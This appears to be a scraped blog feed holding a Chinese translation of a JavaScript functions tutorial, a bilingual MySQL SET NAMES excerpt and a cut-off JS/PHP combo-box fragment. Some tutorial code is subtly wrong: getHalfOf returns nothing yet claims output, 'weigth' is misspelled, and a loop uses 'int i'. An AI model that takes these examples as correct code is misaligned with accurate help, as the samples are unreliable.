Functions\n中文译文(包括示例)：javascript的函数\n子乌注：一篇相当不错的function入门文章，个人感觉相当经典。\n引用地址:http://www.ny2050.cn/article.asp?id=82\n词语翻译列表:\nfunction:函数（Function未翻译）\ndeclare:定义\nassign:指派，分配\nfunctionbody:函数体（就是函数的内容）\nobject:对象\nproperty:属性\nunnamed:匿名（在这里没翻译成未命名）\nobject oriented programming:面相对相编程\nclass:类（比如后面的class data type我翻译成类数据类型）\npointer:指针\nreassign:重新分配\nnest:嵌套\nfeature:功能，特性\nlocal/global:局部/全局\nblueprint:蓝图（？）\nuser defined:用户自定义\ninstance:实例\nprototype:原型（除了标题都不翻译）\ninternal:内部\nconstructor:构造器\nduplication:\n函数：定义\n有以下这些方法可以定义一个函数。所有这些都是有效的，但是它们在后台如何实现的则有一些差别。\n常用的写法\n一般大家都用这个写法来定义一个函数：\nfunctionName([parameters]){functionBody};\nExample D1：\nCODE:\nfunction add(a, b) { return a+b;\n} alert(add(1,2)); // 结果 3 当我们这么定义函数的时候，函数内容会被编译（但不会立即执行，除非我们去调用它）。而且，也许你不知道，当这个函数创建的时候有一个同名的对象也被创建。就我们的例子来说，我们现在有一个对象叫做\u0026ldquo;add\u0026rdquo;（要更深入了解，看底下函数：对象节。）\n匿名函数\n我们也可以通过指派一个变量名给匿名函数的方式来定义它。\nExample D2 var add=function(a, b) { return a+b;\n} alert(add(1,2)); // 结果 3 这个代码和前一个例子做了同样的事情。也许语法看起来比较奇怪，但它应该更能让你感觉到函数是一个对象，而且我们只是为这个对指派了一个名称。可以把它看做和 var myVar=[1,2,3]一样的语句。以这种方式声明的函数内容也一样会被编译。\n当我们指派一个这样的函数的时候，我们并不一定要求必须是匿名函数。在这里，我作了和ExampleD2一样的事情，但我加了函数名\u0026ldquo;theAdd\u0026rdquo;，而且我可以通过调用函数名或者是那个变量来引用函数。\nExample D2A\nvar add=function theAdd(a, b) { return a+b;\n} alert(add(1,2)); // 结果 3\nalert(theAdd(1,2)); // 结果也是 3 使用这种方式来定义函数在面向对象编程中是很有用的，因为我们能像底下这样使一个函数成为一个对象的属性。\nvar myObject=new Object();\nmyObject.add=function(a,b){return a+b}; // myObject 现在有一个叫做\u0026ldquo;add\u0026rdquo;的属性（或方法）\n// 而且我能够象下面这样使用它\nmyObject.add(1, 2); 我们也能够通过使用运算符new来定义一个函数。这是一个最少见的定义函数的方式并且并不推荐使用这种方式除非有特殊的理由（可能的理由见下）。语法如下：\nvarName=new Function([param1Name, param2Name,\u0026#8230;paramNName], functionBody);\nExample D3: var add=new Function(\u0026quot;a\u0026quot;, \u0026quot;b\u0026quot;, \u0026quot;return a+b;\u0026quot;);\nalert(add(3,4)); // 结果 7 我在这里有两个参数叫做a和b，而函数体返回a和b的和。请注意new Function(\u0026#8230;)使用了大写F，而不是小写f。 这就告诉javascript，我们将要创建一个类型是Function的对象。 还要注意到，参数名和函数体都是作为字符串而被传递。我们可以随心所欲的增加参数，javascript知道函数体会是右括号前的最后一个字符串（如果没 有参数，你能够只写函数体）。你没必要将所有东西都写在一行里（使用或者使用字符串连接符+来分隔长代码）。标记告诉JavaScript在下一行查 找字符串的其余部分。例子如下：\nExample D4 var add=new Function(\u0026quot;a\u0026quot;, \u0026quot;b\u0026quot;, \u0026quot;alert\u0026quot; + // 注意 \u0026quot;+\u0026quot;\n\u0026quot;(\u0026#8216;adding \u0026#8216;+a+\u0026#8217; and \u0026#8216; +b); // 和 \u0026quot;\u0026quot;的不同用法\nreturn a+b;\u0026quot;);\nalert(add(3,4)); // 结果 7 采用这种方式定义函数会导致函数并没被编译，而且它有可能会比用其它方式定义的函数要慢。至于为什么，看一下这个代码：\nExample D5 function createMyFunction(myOperator)\n{\nreturn new Function(\u0026quot;a\u0026quot;, \u0026quot;b\u0026quot;, \u0026quot;return a\u0026quot; + myOperator + \u0026quot;b;\u0026quot;);\n}\nvar add=createMyFunction(\u0026quot;+\u0026quot;); // 创建函数 \u0026quot;add\u0026quot; var subtract=createMyFunction(\u0026quot;-\u0026quot;); // 创建函数 \u0026quot;subtract\u0026quot; var multiply=createMyFunction(\u0026quot;*\u0026quot;); // 创建函数 \u0026quot;multiply\u0026quot; // test the functions\nalert(\u0026quot;加的结果=\u0026quot;+add(10,2)); // 结果是 12\nalert(\u0026quot;减的结果=\u0026quot;+subtract(10,2)); // 结果是 8\nalert(\u0026quot;乘的结果=\u0026quot;+multiply(10,2)); // 结果是 20\nalert(add); 这个有趣的例子创建了三个不同的function，通过实时传递不同的参数来创建一个新Function。因为编译器没法知道最终代码会是什么样 子的，所以new Function(\u0026#8230;)的内容不会被编译。那这有什么好处呢？嗯，举个例子，如果你需要用户能够创建他们自己的函数的时候这个功能也许很有用，比如在 游戏里。我们也许需要允许用户添加\u0026ldquo;行为\u0026rdquo;给一个\u0026ldquo;player\u0026rdquo;。但是，再说一次，一般情况下，我们应该避免使用这种形式，除非有一个特殊的目的。\n函数：对象\n函数是javascript中的一种特殊形式的对象。它是第一个[b〕类数据类型（class data type）。这意味着我们能够给它增加属性。这里有一些需要注意的有趣观点： 对象的创建\n就像刚才提及的，当我们定义一个函数时，javascript实际上在后台为你创建了一个对象。这个对象的名称就是函数名本身。这个对象的类型是function。在下面的例子，我们也许不会意识到这一点，但我们实际上已经创建了一个对象：它叫做Ball。\nExample 1 function Ball() // 也许看起来有点奇怪，但是这个声明\n{ // 创建了一个叫做Ball的对象\ni=1;\n} alert(typeof Ball); // 结果 \u0026quot;function\u0026quot; 我们甚至能将这个对象的内容打印出来而且它会输出这个函数的实际代码，Example2: 点击 alert(Ball);来看看Ball的内容。\n属性的添加\n我们能够添加给Object添加属性，包括对象function。因为定义一个函数的实质是创建一个对象。我们能够\u0026ldquo;暗地里\u0026rdquo;给函数添加属性。比如，我们这里定义了函数Ball，并添加属性callsign。\nfunction Ball() // 也许看起来有点奇怪，但是这个声明\n{ // 创建了一个叫做Ball的对象，而且你能够\n} // 引用它或者象下面那样给它增加属性\nBall.callsign=\u0026quot;The Ball\u0026quot;; // 给Ball增加属性\nalert(Ball.callsign); // 输出 \u0026quot;The Ball\u0026quot; 指针\n因为function是一个对象，我们能够为一个function分配一个指针。如下例，变量ptr指向了对象myFunction。\nfunction myFunction(message) { alert(message);\n}\nvar ptr=myFunction; // ptr指向了myFunction\nptr(\u0026quot;hello\u0026quot;); // 这句会执行myFunction：输出\u0026quot;hello\u0026quot; 我们能够运行这个函数，就好像这个函数名已经被指针名代替了一样。所以在上面，这行ptr(\u0026quot;hello\u0026quot;); 和myFunction(\u0026quot;hello\u0026quot;);的意义是一样的。\n指向函数的指针在面向对象编程中相当有用。例如：当我们有多个对象指向同一个函数的时候（如下）：\nExample 4A function sayName(name) { alert(name);\n}\nvar object1=new Object(); // 创建三个对象\nvar object2=new Object();\nvar object3=new Object();\nobject1.sayMyName=sayName; // 将这个函数指派给所有对象\nobject2.sayMyName=sayName;\nobject3.sayMyName=sayName;\nobject1.sayMyName(\u0026quot;object1\u0026quot;); // 输出 \u0026quot;object1\u0026quot;\nobject2.sayMyName(\u0026quot;object2\u0026quot;); // 输出 \u0026quot;object2\u0026quot;\nobject3.sayMyName(\u0026quot;object3\u0026quot;); // 输出 \u0026quot;object3\u0026quot; 因为只有指针被保存（而不是函数本身），当我们改变函数对象自身的时候，所有指向那个函数的指针都会发生变化。我们能够在底下看到：\nExample 5: function myFunction() { alert(myFunction.message);\n}\nmyFunction.message=\u0026quot;old\u0026quot;;\nvar ptr1=myFunction; // ptr1 指向 myFunction\nvar ptr2=myFunction; // ptr2 也指向 myFunction\nptr1(); // 输出 \u0026quot;old\u0026quot;\nptr2(); // 输出 \u0026quot;old\u0026quot;\nmyFunction.message=\u0026quot;new\u0026quot;;\nptr1(); // 输出 \u0026quot;new\u0026quot;\nptr2(); // 输出 \u0026quot;new\u0026quot; 指针的指向\n我们能够在一个函数创建之后重新分配它，但是我们需要指向函数对象本身，而不是指向它的指针。在下例中，我将改变myfunction()的内容。\nExample 6: function myFunction() { alert(\u0026quot;Old\u0026quot;);\n}\nmyFunction(); // 输出 \u0026quot;Old\u0026quot;\nmyFunction=function()\n{\nalert(\u0026quot;New\u0026quot;);\n};\nmyFunction(); // 输出 \u0026quot;New\u0026quot; 旧函数哪里去了？？被抛弃了。\n如果我们需要保留它，我们可以在改变它之前给它分配一个指针。\nExample 6A: function myFunction() { alert(\u0026quot;Old\u0026quot;);\n}\nvar savedFuncion=myFunction;\nmyFunction=function()\n{\nalert(\u0026quot;New\u0026quot;);\n};\nmyFunction(); // 输出 \u0026quot;New\u0026quot;\nsavedFuncion(); // 输出 \u0026quot;Old\u0026quot; 不过要小心，象下面这样的例子并不会有作用，因为是创建了另一个叫做myFunctionPtr的函数而不是修改它。\nExample 6B: function myFunction() { alert(\u0026quot;Old\u0026quot;);\n}\nvar savedFunc=myFunction;\nsavedFunc=function()\n{\nalert(\u0026quot;New\u0026quot;);\n};\nmyFunction(); // 输出 \u0026quot;Old\u0026quot;\nsavedFunc(); // 输出 \u0026quot;New\u0026quot; 内嵌函数\n我们还能够在一个函数中嵌套一个函数。下例，我有一个叫做getHalfOf的函数,而在它里面，我有另一个叫做calculate的函数。\nExample 7 function getHalfOf(num1, num2, num3) { function calculate(number)\n{\nreturn number/2;\n}\nvar result=\u0026quot;\u0026quot;;\nresult+=calculate(num1)+\u0026quot; \u0026quot;;\nresult+=calculate(num2)+\u0026quot; \u0026quot;;\nresult+=calculate(num3);\n} var resultString=getHalfOf(10,20,30);\nalert(resultString); // 输出 \u0026quot;5 10 15\u0026quot; 你只能在内部调用嵌套的函数。就是说，你不能这么调用：getHalfOf.calculate(10)，因为calculate只有当外部函数 (getHalfOf())在运行的时候才会存在。这和我们前面的讨论一致（函数会被编译，但只有当你去调用它的时候才会执行）。\n调用哪个函数？\n你也许正在想命名冲突的问题。比如，下面哪一个叫做calculate的函数会被调用？\nExample 8 function calculate(number)\n{\nreturn number/3;\n}\nfunction getHalfOf(num1, num2, num3) { function calculate(number)\n{\nreturn number/2;\n}\nvar result=\u0026quot;\u0026quot;;\nresult+=calculate(num1)+\u0026quot; \u0026quot;;\nresult+=calculate(num2)+\u0026quot; \u0026quot;;\nresult+=calculate(num3);\n} var resultString=getHalfOf(10,20,30);\nalert(resultString); // 输出 \u0026quot;5 10 15\u0026quot; 在这个例子中，编译器会首先搜索局部内存地址，所以它会使用内嵌的calculate函数。如果我们删除了这个内嵌（局部）的calculate函数,这个代码会使用全局的calculate函数。\n函数：数据类型及构造函数\n让 我们来看看函数的另一个特殊功能－－这让它和其它对象类型截然不同。一个函数能够用来作为一个数据类型的蓝图。这个特性通常被用在面向对象编程中来模拟用 户自定义数据类型(user defined data type)。使用用户自定义数据类型创建的对象通常被成为用户自定义对象(user defined object)。\n数据类型\n在定义了一个函数之后，我们也同时创建了一个新的数据类型。这个数据类型能够用来创建一个新对象。下例，我创建了一个叫做Ball的新数据类型。\nExample DT1 function Ball()\n{\n}\nvar ball0=new Ball(); // ball0 现在指向一个新对象\nalert(ball0); // 输出 \u0026quot;Object\u0026quot;，因为 ball0 现在是一个对象\n这样看来，ball0=new Ball()作了什么？new关键字创建了一个类型是Object的新对象（叫做ball0）。然后它会执行Ball()，并将这个引用传给ball0 （用于调用对象）。下面，你会看到这条消息：\u0026ldquo;creating new Ball\u0026rdquo;，如果Ball()实际上被运行的话。\nExample DT2 function Ball(message)\n{\nalert(message);\n}\nvar ball0=new Ball(\u0026quot;creating new Ball\u0026quot;); // 创建对象并输出消息\nball0.name=\u0026quot;ball-0\u0026quot;; // ball0现在有一个属性：name\nalert(ball0.name); // 输出 \u0026quot;ball-0\u0026quot; 我们可以把上面这段代码的第6行看做是底下的代码6-8行的一个简写：\nfunction Ball(message)\n{\nalert(message);\n}\nvar ball0=new Object();\nball0.construct=Ball;\nball0.construct(\u0026quot;creating new ball\u0026quot;); // 执行 ball0.Ball(\u0026quot;creating..\u0026quot;);\nball0.name=\u0026quot;ball-0\u0026quot;; alert(ball0.name); 这行代码ball0.construct=Ball和Example 4中的ptr=myFunction语法一致。\n如果你还是不明白这行的含义那就回过头再复习一下Example 4。注意：你也许考虑直接运行ball0.Ball(\u0026quot;\u0026#8230;\u0026quot;)，但是它不会起作用的，因为ball0并没有一个叫做Ball(\u0026quot;\u0026#8230;\u0026quot;)的属性，并且它也不知道你究竟想作些什么。\n添加属性\n当 我们象上面那样使用关键字new创建一个对象的时候，一个新的Object被创建了。我们可以在创建之后给这个对象添加属性（就好像我在上面那样添加属性 name。而接下来的问题就是如果我们创建了这个对象的另外一个实例，我们得象下面那样再次给这个新对象添加这个属性。）\nExample DT3 (creates 3 ball objects) function Ball()\n{\n}\nvar ball0=new Ball(); // ball0 现在指向了类型Ball的一个新实例\nball0.name=\u0026quot;ball-0\u0026quot;; // ball0 现在有一个属性\u0026quot;name\u0026quot;\nvar ball1=new Ball();\nball1.name=\u0026quot;ball-1\u0026quot;;\nvar ball2=new Ball();\nalert(ball0.name); // 输出 \u0026quot;ball-0\u0026quot;\nalert(ball1.name); // 输出 \u0026quot;ball-1\u0026quot;\nalert(ball2.name); // 哦，我忘记给ball2添加\u0026ldquo;name\u0026rdquo;了！ 我忘记给ball2添加属性name了，如果在正式的程序中这也许会引发问题。有什么好办法可以自动增加属性呢？嗯，有一个：使用this关键 字。this这个词在function中有特别的意义。它指向了调用函数的那个对象。让我们看看下面的另一个示例，这时候我们在构造函数中添加上这些属 性：\nExample DT4 function Ball(message, specifiedName)\n{\nalert(message);\nthis.name=specifiedName; }\nvar ball0=new Ball(\u0026quot;creating new Ball\u0026quot;, \u0026quot;Soccer Ball\u0026quot;); alert(ball0.name); // prints \u0026quot;Soccer Ball\u0026quot; 请记住：是new关键字最终使得构造函数被执行。在这个例子中，它将会运行Ball(\u0026quot;creating new Ball\u0026quot;, \u0026quot;Soccer Ball\u0026quot;);而关键字this将指向ball0。\n因此，这行：this.name=specifiedName变成了ball0.name=\u0026quot;Soccer Ball\u0026quot;。\n它主要是说：给ball0添加属性name，属性值是Soccer Ball。 我 们现在只是添加了一个name属性给ball0，看起来和上一个例子中所做的很象，但却是一个更好更具扩展性的方法。现在，我们可以随心所欲的创建许多带 有属性的ball而无需我们手动添加它们。而且，人们也希望创建的Ball对象能够清晰的看懂它的构造函数并且能够轻松找出Ball的所有属性。让我们添 加更多属性到Ball里。\nExample DT5\nfunction Ball(color, specifiedName, owner, weight)\n{\nthis.name=specifiedName; this.color=color;\nthis.owner=owner;\nthis.weight=weigth;\n}\nvar ball0=new Ball(\u0026quot;black/white\u0026quot;, \u0026quot;Soccer Ball\u0026quot;, \u0026quot;John\u0026quot;, 20); var ball1=new Ball(\u0026quot;gray\u0026quot;, \u0026quot;Bowling Ball\u0026quot;, \u0026quot;John\u0026quot;, 30); var ball2=new Ball(\u0026quot;yellow\u0026quot;, \u0026quot;Golf Ball\u0026quot;, \u0026quot;John\u0026quot;, 55); var balloon=new Ball(\u0026quot;red\u0026quot;, \u0026quot;Balloon\u0026quot;, \u0026quot;Pete\u0026quot;, 10); alert(ball0.name); // 输出 \u0026quot;Soccer Ball\u0026quot;\nalert(balloon.name); // 输出 \u0026quot;Balloon\u0026quot;\nalert(ball2.weight); // 输出 \u0026quot;55\u0026quot; 嘿！使用面向对象术语，你能够说Ball是一个拥有如下属性的对象类型：name, color, owner, weight。 将对象赋给属性\n我们并没被限制只能添加形如字符串或者数字之类的简单数据类型作为属性。我们也能够将对象赋给属性。下面，supervisor是Employee的一个属性.\nExample DT6 function Employee(name, salary, mySupervisor)\n{\nthis.name=name; this.salary=salary;\nthis.supervisor=mySupervisor;\n}\nvar boss=new Employee(\u0026quot;John\u0026quot;, 200);\nvar manager=new Employee(\u0026quot;Joan\u0026quot;, 50, boss); var teamLeader=new Employee(\u0026quot;Rose\u0026quot;, 50, boss); alert(manager.supervisor.name+\u0026quot; is the supervisor of \u0026quot;+manager.name);\nalert(manager.name+\u0026quot;\u0026#8217;s supervisor is \u0026quot;+manager.supervisor.name); 会输出什么呢？\n就像你在上面这个例子中看到的那样，manager和teamLeader都有一个supervisor属性，而这个属性是类型Employee的一个对象。\n将函数作为属性\n任何类型的对象都可以作为一个属性，回忆一下前面的Example 4(不是Example DT4)，函数也是一个对象。所以你可以让一个函数作为一个对象的一个属性。下面，我将添加两个函数getSalary和addSalary。\nExample DT7 function Employee(name, salary)\n{\nthis.name=name; this.salary=salary;\nthis.addSalary=addSalaryFunction;\nthis.getSalary=function()\n{\nreturn this.salary;\n};\n}\nfunction addSalaryFunction(addition)\n{\nthis.salary=this.salary+addition;\n}\nvar boss=new Employee(\u0026quot;John\u0026quot;, 200000);\nboss.addSalary(10000); // boss 长了 10K 工资\u0026hellip;\u0026hellip;为什么老板工资可以长这么多:'(\nalert(boss.getSalary()); // 输出 210K\u0026hellip;\u0026hellip;为什么默认工资也那么高\u0026hellip;\u0026hellip;:'( addSalary和getSalary演示了几种将函数赋给属性的不同方法。如果你记得我们最开始的讨论；我讨论了三种声明函数的不同方式。所有那些在这里都是适用的，但是上面展示的两个最常用。\n让我们看看有什么不同。下面，注意一下9-12行的代码。当这部分代码执行的时候，函数getSalary被声明。如前面数次提到的，一个函数声明的结果是一个对象被创建。所以这时候boss被创建（接下来的第19行），而boss里有一个getSalary属性。\nfunction Employee(name, salary)\n{\nthis.name=name; this.salary=salary;\nthis.addSalary=addSalaryFunction;\nthis.getSalary=function()\n{\nreturn this.salary;\n};\n}\nfunction addSalaryFunction(addition)\n{\nthis.salary=this.salary+addition;\n}\nvar boss=new Employee(\u0026quot;John\u0026quot;, 200000);\nvar boss2=new Employee(\u0026quot;Joan\u0026quot;, 200000);\nvar boss3=new Employee(\u0026quot;Kim\u0026quot;, 200000); 当你创建这个对象的更多实例时(boss2和boss3),每一个实例都有一份getSalary代码的单独拷贝；而与此相反，addSalary则指向了同一个地方(即addSalaryFunction)。 看看下面的代码来理解一下上面所描述的内容。\nExample DT8\nfunction Employee(name, salary)\n{\nthis.name=name; this.salary=salary;\nthis.addSalary=addSalaryFunction;\nthis.getSalary=function()\n{\nreturn this.salary;\n};\n}\nfunction addSalaryFunction(addition)\n{\nthis.salary=this.salary+addition;\n}\nvar boss1=new Employee(\u0026quot;John\u0026quot;, 200000);\nvar boss2=new Employee(\u0026quot;Joan\u0026quot;, 200000);\n// 给getSalary函数对象添加属性\nboss1.getSalary.owner=\u0026quot;boss1\u0026quot;;\nboss2.getSalary.owner=\u0026quot;boss2\u0026quot;;\nalert(boss1.getSalary.owner); // 输出 \u0026quot;boss1\u0026quot;\nalert(boss2.getSalary.owner); // 输出 \u0026quot;boss2\u0026quot;\n// 如果两个对象指向同一个函数对象，那么\n// 上面两个输出都应该是\u0026ldquo;boss2\u0026rdquo;。\n// 给addSalary函数对象添加属性\nboss1.addSalary.owner=\u0026quot;boss1\u0026quot;;\nboss1.addSalary.owner=\u0026quot;boss2\u0026quot;;\nalert(boss1.addSalary.owner); // 输出 \u0026quot;boss2\u0026quot;\nalert(boss2.addSalary.owner); // 输出 \u0026quot;boss2\u0026quot;\n// 因为两个对象都指向同一个函数，（子乌注：原文写are not pointing to the same function，疑为笔误）\n// 当修改其中一个的时候，会影响所有的实例（所以两个都输出\u0026ldquo;boss2\u0026rdquo;）. 也许不是重要的事情，但这里有一些关于运行类似上面的getSalary的内嵌函数的结论： 1) 需要更多的存储空间来存储对象（因为每一个对象实例都会有它自己的getSalary代码拷贝）；2) javascript需要更多时间来构造这个对象。\n让我们重新写这个示例来让它更有效率些。\nExample DT9\nfunction Employee(name, salary)\n{\nthis.name=name; this.salary=salary;\nthis.addSalary=addSalaryFunction;\nthis.getSalary=getSalaryFunction;\n}\nfunction getSalaryFunction()\n{\nreturn this.salary;\n}\nfunction addSalaryFunction(addition)\n{\nthis.salary=this.salary+addition;\n} 看这儿，两个函数都指向同一个地方，这将会节约空间和缩短构造时间（特别是当你有一大堆内嵌函数在一个构造函数的时候）。这里有另外一个函数的功能能够来提升这个设计，它叫做prototype，而我们将在下一节讨论它。\n函数：原型\n每一个构造函数都有一个属性叫做原型(prototype,下面都不再翻译，使用其原文)。这个属性非常有用：为一个特定类声明通用的变量或者函数。\nprototype的定义\n你不需要显式地声明一个prototype属性，因为在每一个构造函数中都有它的存在。你可以看看下面的例子：\nExample PT1 function Test()\n{\n}\nalert(Test.prototype); // 输出 \u0026quot;Object\u0026quot; 给prototype添加属性\n就如你在上面所看到的，prototype是一个对象，因此，你能够给它添加属性。你添加给prototype的属性将会成为使用这个构造函数创建的对象的通用属性。\n例如，我下面有一个数据类型Fish，我想让所有的鱼都有这些属性：livesIn=\u0026quot;water\u0026quot;和price=20；为了实现这个，我可以给构造函数Fish的prototype添加那些属性。\nExample PT2 function Fish(name, color)\n{\nthis.name=name;\nthis.color=color;\n}\nFish.prototype.livesIn=\u0026quot;water\u0026quot;;\nFish.prototype.price=20; 接下来让我们作几条鱼：\nvar fish1=new Fish(\u0026quot;mackarel\u0026quot;, \u0026quot;gray\u0026quot;);\nvar fish2=new Fish(\u0026quot;goldfish\u0026quot;, \u0026quot;orange\u0026quot;);\nvar fish3=new Fish(\u0026quot;salmon\u0026quot;, \u0026quot;white\u0026quot;); 再来看看鱼都有哪些属性：\nfor (int i=1; i\u0026lt;=3; i++)\n{\nvar fish=eval(\u0026quot;fish\u0026quot;+i); // 我只是取得指向这条鱼的指针\nalert(fish.name+\u0026quot;,\u0026quot;+fish.color+\u0026quot;,\u0026quot;+fish.livesIn+\u0026quot;,\u0026quot;+fish.price);\n} 输出应该是：\n\u0026quot;mackarel, gray, water, 20\u0026quot;\n\u0026quot;goldfish, orange, water, 20\u0026quot;\n\u0026quot;salmon, white water, 20\u0026quot; 你看到所有的鱼都有属性livesIn和price,我们甚至都没有为每一条不同的鱼特别声明这些属性。这时因为当一个对象被创建时，这个构造函 数将会把它的属性prototype赋给新对象的内部属性__proto__。这个__proto__被这个对象用来查找它的属性。\n你也可以通过prototype来给所有对象添加共用的函数。这有一个好处：你不需要每次在构造一个对象的时候创建并初始化这个函数。为了解释这一点，让我们重新来看Example DT9并使用prototype来重写它：\n用prototype给对象添加函数\nExample PT3 function Employee(name, salary)\n{\nthis.name=name; this.salary=salary;\n}\nEmployee.prototype.getSalary=function getSalaryFunction()\n{\nreturn this.salary;\n}\nEmployee.prototype.addSalary=function addSalaryFunction(addition)\n{\nthis.salary=this.salary+addition;\n} 我们可以象通常那样创建对象：\nvar boss1=new Employee(\u0026quot;Joan\u0026quot;, 200000);\nvar boss2=new Employee(\u0026quot;Kim\u0026quot;, 100000);\nvar boss3=new Employee(\u0026quot;Sam\u0026quot;, 150000); 并验证它：\nalert(boss1.getSalary()); // 输出 200000\nalert(boss2.getSalary()); // 输出 100000\nalert(boss3.getSalary()); // 输出 150000 这里有一个图示来说明prototype是如何工作的。这个对象的每一个实例(boss1, boss2, boss3)都有一个内部属性叫做__proto__，这个属性指向了它的构造器(Employee)的属性prototype。当你执行 getSalary或者addSalary的时候，这个对象会在它的__proto__找到并执行这个代码。注意这点：这里并没有代码的复制(和 Example DT8的图表作一下对比)。\n","permalink":"https://hessian.cn/p/617.html","summary":"作者：F. Permadi\n译者：Sheneyan(子乌)\n英文原文： INTRODUCTION TO JavaScript Functions\n中文译文(包括示例)：javascript的函数\n子乌注：一篇相当不错的function入门文章，个人感觉相当经典。\n","title":"INTRODUCTION TO JavaScript Functions"},{"content":"大家都知道\nSET NAMES x\n相当于\nSET character_set_client = x;\nSET character_set_results = x;\nSET character_set_connection = x;\n以下从MySQL5.0官方文档上摘录了相关内容，并翻译，说明了相关系统变量的用处：\nWhat character set is the statement in when it leaves the client?\nstatement离开客户端的时候是什么字符集？\nThe server takes the character_set_client system variable to be the character set in which statements are sent by the client.\n客户端送过来的statement，服务器认为它的字符集是系统变量character_set_client的值。\nWhat character set should the server translate a statement to after receiving it?\n服务器收到一个statement后，会把它转换成什么字符集？\nFor this, the server uses the character_set_connection and collation_connection system variables. It converts statements sent by the client from character_set_client to character_set_connection (except for string literals that have an introducer such as _latin1 or _utf8). collation_connection is important for comparisons of literal strings. For comparisons of strings with column values, collation_connection does not matter because columns have their own collation, which has a higher collation precedence.\n为了这一用途，服务器使用系统变量character_set_connection和collation_connection。它把客户端传来的 statement，从character_set_client字符集转换成character_set_connection字符集（除非字符串中有 类似_latin1或者_utf8的字符集声明）。collation_connection对于字符串的比较是非常重要的。对于字符类型的字段值的比 较，collation_connection是不起作用的。因为字段有自己的collation，有更高的优先级。\nWhat character set should the server translate to before shipping result sets or error messages back to the client?\n在结果集由服务器传递给客户端之前，需要转换成什么字符集？\nThe character_set_results system variable indicates the character set in which the server returns query results to the client. This includes result data such as column values, and result metadata such as column names.\ncharacter_set_results系统变量表明了服务器返回查询结果时使用的字符集。返回的数据，有比如字段的值和元数据（例如字段名）。\nIf you are using the mysql client with auto-reconnect enabled (which is not recommended), it is preferable to use the charset command rather than SET NAMES. For example:\n如果你使用mysql客户端的自动重连（不推荐使用），最好用charset命令，而不是SET NAMES。例如：\nmysql\u0026gt; charset utf8\nCharset changed\nThe charset command issues a SET NAMES statement, and also changes the default character set that is used if mysql reconnects after the connection has dropped. charset命令发出了一个SET NAMES语句，并且连接断开后自动重连时使用的缺省字符集也被修改了。\nThe database character set and collation are used as default values if the table character set and collation are not specified in CREATE TABLE statements. They have no other purpose.\n如果CREATE TABLE中没有明确指出字符集和collation，那么database字符集和collation将做为缺省值，它们没有其他的用处。\nThe character set and collation for the default database can be determined from the values of the character_set_database and collation_database system variables. The server sets these variables whenever the default database changes. If there is no default database, the variables have the same value as the corresponding server-level system variables, character_set_server and collation_server.\n缺省database的字符集和collation可以通过系统变量character_set_database和 collation_database查看。服务器当缺省database改变时设置这些变量的值。如果没有缺省的database，这些变量的将与对应 的服务器级的系统变量－character_set_server和collation_server的值相同。\nThe table character set and collation are used as default values if the column character set and collation are not specified in individual column definitions. The table character set and collation are MySQL extensions; there are no such things in standard SQL.\n表的字符集和collation会作为缺省值，如果列的定义中没有指明字符集和collation的话。\nEvery \u0026ldquo;character\u0026rdquo; column (that is, a column of type CHAR, VARCHAR, or TEXT) has a column character set and a column collation.\n每个\u0026ldquo;字符\u0026rdquo;字段（即CHAR、VARCHAR或者TEXT类型的字段）都有一个字段字符集和字段校验（collation）。\nEvery character string literal has a character set and a collation.\n每个字符串有一个字符集和一个较验。\nA character string literal may have an optional character set introducer and COLLATE clause:\n每个字符串有一个可选的字符集introducer和COLLATE子句：\n[_charset_name]\u0026#8217;string\u0026#8217; [COLLATE collation_name]\nExamples:\nSELECT \u0026#8216;string\u0026#8217;;\nSELECT _latin1\u0026#8217;string\u0026#8217;;\nSELECT _latin1\u0026#8217;string\u0026#8217; COLLATE latin1_danish_ci;\n","permalink":"https://hessian.cn/p/338.html","summary":"大家都知道\nSET NAMES x\n相当于\nSET character_set_client = x;\nSET character_set_results = x;\nSET character_set_connection = x;\n以下从MySQL5.0官方文档上摘录了相关内容，并翻译，说明了相关系统变量的用处：\n","title":"【转】为什么要 SET NAMES"},{"content":"by GiK\n这里面用到了我前面写的那个数据存取对象\n\u0026lt;script type=\u0026quot;text/javascript\u0026quot;\u0026gt;\nfunction $(o) {\nreturn document.getElementById(o);\n}\ngame = {\ncode : new String(),\nlv\u0026nbsp;\u0026nbsp;\u0026nbsp; : new Number(),\nset\u0026nbsp;\u0026nbsp; : function(code){\n\u0026nbsp;\u0026nbsp;\u0026nbsp; this.code = code;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; switch(code.substr(0,3)){\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; case \u0026#8216;001\u0026#8217;:\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; game.lv = 3;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; break;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; case \u0026#8216;002\u0026#8217;:\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; game.lv = 2;;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; break;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n}\n}\n\u0026lt;?php\n$code = array_flip(LJSConfig::$game_level);\n?\u0026gt;\ngame.set(\u0026#8216;\u0026lt;?= array_shift($code) ?\u0026gt;\u0026#8217;);\nvar server_code = \u0026quot;001002003001\u0026quot;;\ncomboBox = {\n\u0026nbsp;\u0026nbsp;\u0026nbsp; target\u0026nbsp;\u0026nbsp; : $(\u0026#8216;catbox\u0026#8217;),//where to add the selectbox\n\u0026nbsp;\u0026nbsp;\u0026nbsp; sels : new Object(),\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; init : function(){\n\u0026nbsp;\u0026nbsp;\u0026nbsp; this.sels.length = new Number(0);\n\u0026nbsp;\u0026nbsp;\u0026nbsp; for(var i=0; i\u0026lt;4; i++){\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; this.sels[i] = document.createElement(\u0026quot;select\u0026quot;);\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp; this.sels[i].id = \u0026quot;sl\u0026quot; + 